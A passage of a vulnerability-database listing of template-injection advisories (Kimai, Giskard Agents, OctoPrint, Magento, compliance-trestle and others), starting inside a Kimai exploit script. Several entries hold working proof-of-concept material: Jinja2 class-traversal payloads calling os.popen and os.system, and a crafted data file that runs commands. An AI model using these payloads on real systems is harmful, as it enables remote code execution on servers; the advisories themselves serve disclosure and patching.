data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,\u0027wb\u0027) as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution",
  "id": "GHSA-fjhg-96cp-6fcw",
  "modified": "2023-10-30T15:40:04Z",
  "published": "2023-10-30T15:40:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File"
}

GHSA-FRV4-X25R-588M

Vulnerability from github – Published: 2026-03-27 22:17 – Updated: 2026-03-31 18:50
VLAI
Summary
Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment
Details

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "giskard-agents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.2a1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "giskard-agents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.1a1"
            },
            {
              "fixed": "1.0.2b1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T22:17:30Z",
    "nvd_published_at": "2026-03-31T15:16:17Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.\n\nThe method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.\n\n## Root Cause\n\n`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261:\n```python\ndef chat(self, message: str | Message | MessageTemplate, role: Role = \"user\") -\u003e Self:\n    if isinstance(message, str):\n        message = MessageTemplate(role=role, content_template=message)\n```\n\nThe string becomes `content_template`, which is parsed by `from_string()`:\n\n`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15:\n```python\ndef render(self, **kwargs: Any) -\u003e Message:\n    template = _inline_env.from_string(self.content_template)\n    rendered_content = template.render(**kwargs)\n```\n\nThe Jinja2 Environment is not sandboxed:\n\n`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37:\n```python\n_inline_env = Environment(\n    autoescape=False,\n    # Not SandboxedEnvironment\n)\n```\n\n## Proof of Concept\n\n```python\nfrom jinja2 import Environment\nenv = Environment()  # Same as giskard\u0027s _inline_env\n\n# Class traversal reaches os.popen\nt = env.from_string(\"{{ \u0027\u0027.__class__.__mro__[1].__subclasses__() | length }}\")\nprint(t.render())  # 342 accessible subclasses\n\n# Full RCE payload (subclass index varies by Python version)\n# {{ \u0027\u0027.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__[\u0027os\u0027].popen(\u0027id\u0027).read() }}\n```\n\nA developer building a chatbot:\n```python\nworkflow = ChatWorkflow(generator=my_llm)\nworkflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template\nresult = await workflow.run()          # RCE if user_input contains {{ payload }}\n```\n\nNote: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.\n\n## Impact\n\nRemote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.\n\nAffects giskard-agents \u003c=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).\n\n# Mitigation\n\nUpdate to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.\n\nThe fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain.",
  "id": "GHSA-frv4-x25r-588m",
  "modified": "2026-03-31T18:50:47Z",
  "published": "2026-03-27T22:17:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34172"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Giskard-AI/giskard-oss"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment"
}

GHSA-FWCH-GX6Q-XHXG

Vulnerability from github – Published: 2026-05-29 21:31 – Updated: 2026-05-29 21:31
VLAI
Details

In JetBrains IntelliJ IDEA before 2026.1 code execution was possible via template injection in the Copyright plugin

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-49382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T19:16:28Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains IntelliJ IDEA before 2026.1 code execution was possible via template injection in the Copyright plugin",
  "id": "GHSA-fwch-gx6q-xhxg",
  "modified": "2026-05-29T21:31:23Z",
  "published": "2026-05-29T21:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49382"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FWFG-VPRH-97PH

Vulnerability from github – Published: 2023-10-10 21:21 – Updated: 2024-10-07 16:46
VLAI
Summary
OctoPrint vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
Details

Impact

OctoPrint versions up until and including 1.9.2 contain a vulnerability that allows malicious admins to configure a specially crafted GCODE script through the Settings that will allow code execution during rendering of that script.

An attacker might use this to extract data managed by OctoPrint, or manipulate data managed by OctoPrint, as well as execute arbitrary commands with the rights of the OctoPrint process on the server system.

Please note that GCODE files uploaded to be printed are not affected! This vulnerability exclusively affects GCODE Scripts to be executed on connection to the printer, print pause, resume etc, as described in the documentation, to be found under Settings > GCODE Scripts and configurable only by users with the ADMIN permission.

Patches

The vulnerability has been patched in version 1.9.3.

Workarounds

OctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and to not blindly configure arbitrary GCODE scripts found online or provided to them by third parties.

Credits

This vulnerability was discovered and responsibly disclosed to OctoPrint by tianxin Wu (Bearcat), Vulnerability Researcher at Numen Cyber Labs, Singapore.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OctoPrint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-10T21:21:12Z",
    "nvd_published_at": "2023-10-09T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nOctoPrint versions up until and including 1.9.2 contain a vulnerability that allows malicious admins to configure a specially crafted [GCODE script](https://docs.octoprint.org/en/master/features/gcode_scripts.html) through the Settings that will allow code execution during rendering of that script.\n\nAn attacker might use this to extract data managed by OctoPrint, or manipulate data managed by OctoPrint, as well as execute arbitrary commands with the rights of the OctoPrint process on the server system.\n\nPlease note that GCODE files uploaded to be printed are *not* affected! This vulnerability exclusively affects GCODE Scripts to be executed on connection to the printer, print pause, resume etc, as described [in the documentation](https://docs.octoprint.org/en/master/features/gcode_scripts.html), to be found under Settings \u003e GCODE Scripts and configurable only by users with the `ADMIN` permission.\n\n### Patches\n\nThe vulnerability has been patched in version 1.9.3.\n\n### Workarounds\n\nOctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and to not blindly configure arbitrary GCODE scripts found online or provided to them by third parties.\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed to OctoPrint by tianxin Wu (Bearcat), Vulnerability Researcher at Numen Cyber Labs, Singapore.",
  "id": "GHSA-fwfg-vprh-97ph",
  "modified": "2024-10-07T16:46:03Z",
  "published": "2023-10-10T21:21:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-fwfg-vprh-97ph"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41047"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/commit/d0072cff894509c77e243d6562245ad3079e17db"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OctoPrint/OctoPrint"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/releases/tag/1.9.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/octoprint/PYSEC-2023-195.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OctoPrint vulnerable to Improper Neutralization of Special Elements Used in a Template Engine"
}

GHSA-G783-P3GP-4Q89

Vulnerability from github – Published: 2024-10-16 15:32 – Updated: 2026-04-01 18:32
VLAI
Details

: Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) allows : Command Injection.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through 1.5.121.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-49271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-82",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-16T13:15:14Z",
    "severity": "CRITICAL"
  },
  "details": ": Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) allows : Command Injection.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through 1.5.121.",
  "id": "GHSA-g783-p3gp-4q89",
  "modified": "2026-04-01T18:32:01Z",
  "published": "2024-10-16T15:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49271"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/unlimited-elements-for-elementor/vulnerability/wordpress-unlimited-elements-for-elementor-free-widgets-addons-templates-plugin-1-5-121-remote-code-execution-rce-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/unlimited-elements-for-elementor/wordpress-unlimited-elements-for-elementor-free-widgets-addons-templates-plugin-1-5-121-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G7PX-3PMW-F42V

Vulnerability from github – Published: 2026-09-11 18:31 – Updated: 2026-09-11 18:31
VLAI
Details

Improper neutralization of special elements used in a template engine vulnerability in Arma Digital Media Inc. Website Template allows Code Injection.

This issue affects Website Template: through 11092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9160"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-11T18:17:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements used in a template engine vulnerability in Arma Digital Media Inc. Website Template allows Code Injection.\n\nThis issue affects Website Template: through 11092026.\u00a0NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-g7px-3pmw-f42v",
  "modified": "2026-09-11T18:31:27Z",
  "published": "2026-09-11T18:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9160"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1083"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GF66-VVM8-54JQ

Vulnerability from github – Published: 2025-08-27 00:31 – Updated: 2025-08-27 00:31
VLAI
Details

Agiloft Release 28 does not properly neutralize special elements used in an EUI template engine, allowing an authenticated attacker to achieve remote code execution by loading a specially crafted payload. Users should upgrade to Agiloft Release 31.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-35113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-26T23:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Agiloft Release 28 does not properly neutralize special elements used in an EUI template engine, allowing an authenticated attacker to achieve remote code execution by loading a specially crafted payload. Users should upgrade to Agiloft Release 31.",
  "id": "GHSA-gf66-vvm8-54jq",
  "modified": "2025-08-27T00:31:16Z",
  "published": "2025-08-27T00:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-35113"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-239-01.json"
    },
    {
      "type": "WEB",
      "url": "https://wiki.agiloft.com/display/HELP/What%27s+New%3A+CVE+Resolution"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-35113"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GFMM-WW6F-5MM5

Vulnerability from github – Published: 2023-06-15 21:30 – Updated: 2025-03-04 18:14
VLAI
Summary
Magento Open Source allows Improper Neutralization of Special Elements Used
Details

Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could lead to arbitrary code execution by an admin-privilege authenticated attacker. Exploitation of this issue does not require user interaction.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.4-p1"
            },
            {
              "fixed": "2.4.4-p4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/project-community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-29297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-04T18:14:52Z",
    "nvd_published_at": "2023-06-15T19:15:11Z",
    "severity": "HIGH"
  },
  "details": "Adobe Commerce versions 2.4.6 (and earlier), 2.4.5-p2 (and earlier) and 2.4.4-p3 (and earlier) are affected by a Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could lead to arbitrary code execution by an admin-privilege authenticated attacker. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-gfmm-ww6f-5mm5",
  "modified": "2025-03-04T18:14:53Z",
  "published": "2023-06-15T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29297"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb23-35.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source allows Improper Neutralization of Special Elements Used"
}

GHSA-GG2G-P7XC-QQMM

Vulnerability from github – Published: 2026-05-28 19:01 – Updated: 2026-05-28 19:01
VLAI
Summary
compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)
Details

A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).

The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.

This distinction is critical: the template author may only intend to render plain text (e.g., Title: {{ ssp.metadata.title }}), but because of the recursive parsing, the data field itself becomes executable.

The vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.

Details

In trestle/core/commands/author/jinja.py, the render_template method performs recursive template evaluation to allow nesting within expressions:

    @staticmethod
    def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:
        new_output = template.render(**lut)
        output = ''
        error_countdown = JinjaCmd.max_recursion_depth
        while new_output != output and error_countdown > 0:
            error_countdown = error_countdown - 1
            output = new_output
            random_name = uuid.uuid4()
            dict_loader = DictLoader({str(random_name): new_output})
            # jinja_env does not use SandboxedEnvironment
            jinja_env = Environment(
                loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),
                extensions=extensions(),
                autoescape=True,
                trim_blocks=True
            )
            template = jinja_env.get_template(str(random_name))
            new_output = template.render(**lut)
        return output

When a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the while loop, this output is loaded into a new Environment via DictLoader and rendered again. Because jinja_env does not use SandboxedEnvironment, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.

PoC (Proof of Concept)

The vulnerability survives even when the template itself is fully trusted and static. Tested on Jinja2 version 3.1.6.

  1. Create a fully trusted template (template.j2) that simply renders a data variable from an external SSP model:
Title: {{ ssp.metadata.title }}
  1. Generate a malicious OSCAL SSP document (system-security-plans/malicious_ssp/system-security-plan.json) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:
{
  "system-security-plan": {
    "uuid": "208dbe11-e6e2-411a-af18-095cd17a6a70",
    "metadata": {
      "title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}",
      "last-modified": "2024-01-01T00:00:00+00:00",
      "version": "1.0",
      "oscal-version": "1.0.4"
    },
    "import-profile": { "href": "trestle://profiles/test_profile/profile.json" }
  }
}
  1. Execute the trestle author jinja command against the malicious data:
trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp

(Note: A similar payload injected via the -lut yaml argument yields identical results.)

  1. Verify arbitrary command execution:
ls poc.txt
# The file poc.txt is successfully created on the filesystem.

An attacker can also execute arbitrary shell commands directly, e.g.:

      "title": "{{ namespace.__init__.__globals__.os.system('id') }}",

Impact

This vulnerability allows arbitrary command execution with the privileges of the running process. If compliance-trestle is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T19:01:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A High severity Server-Side Template Injection (SSTI) vulnerability exists in the `trestle author jinja` command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).\n\n**The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.** \n\nThis distinction is critical: the template author may only intend to render plain text (e.g., `Title: {{ ssp.metadata.title }}`), but because of the recursive parsing, the data field itself becomes executable. \n\nThe vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.\n\n## Details\nIn `trestle/core/commands/author/jinja.py`, the `render_template` method performs recursive template evaluation to allow nesting within expressions:\n\n```python\n    @staticmethod\n    def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -\u003e str:\n        new_output = template.render(**lut)\n        output = \u0027\u0027\n        error_countdown = JinjaCmd.max_recursion_depth\n        while new_output != output and error_countdown \u003e 0:\n            error_countdown = error_countdown - 1\n            output = new_output\n            random_name = uuid.uuid4()\n            dict_loader = DictLoader({str(random_name): new_output})\n            # jinja_env does not use SandboxedEnvironment\n            jinja_env = Environment(\n                loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),\n                extensions=extensions(),\n                autoescape=True,\n                trim_blocks=True\n            )\n            template = jinja_env.get_template(str(random_name))\n            new_output = template.render(**lut)\n        return output\n```\n\nWhen a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker\u0027s string is injected into the output. During the next pass of the `while` loop, this output is loaded into a new `Environment` via `DictLoader` and rendered again. Because `jinja_env` does not use `SandboxedEnvironment`, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.\n\n## PoC (Proof of Concept)\nThe vulnerability survives even when the template itself is fully trusted and static. \nTested on `Jinja2` version `3.1.6`.\n\n1. Create a fully trusted template (`template.j2`) that simply renders a data variable from an external SSP model:\n```jinja2\nTitle: {{ ssp.metadata.title }}\n```\n\n2. Generate a malicious OSCAL SSP document (`system-security-plans/malicious_ssp/system-security-plan.json`) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:\n```json\n{\n  \"system-security-plan\": {\n    \"uuid\": \"208dbe11-e6e2-411a-af18-095cd17a6a70\",\n    \"metadata\": {\n      \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027touch poc.txt\u0027) }}\",\n      \"last-modified\": \"2024-01-01T00:00:00+00:00\",\n      \"version\": \"1.0\",\n      \"oscal-version\": \"1.0.4\"\n    },\n    \"import-profile\": { \"href\": \"trestle://profiles/test_profile/profile.json\" }\n  }\n}\n```\n\n3. Execute the `trestle author jinja` command against the malicious data:\n```bash\ntrestle author jinja -i template.j2 -o out.md -ssp malicious_ssp\n```\n*(Note: A similar payload injected via the `-lut` yaml argument yields identical results.)*\n\n4. Verify arbitrary command execution:\n```bash\nls poc.txt\n# The file poc.txt is successfully created on the filesystem.\n```\n\nAn attacker can also execute arbitrary shell commands directly, e.g.:\n```json\n      \"title\": \"{{ namespace.__init__.__globals__.os.system(\u0027id\u0027) }}\",\n```\n\n## Impact\nThis vulnerability allows arbitrary command execution with the privileges of the running process. If `compliance-trestle` is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party 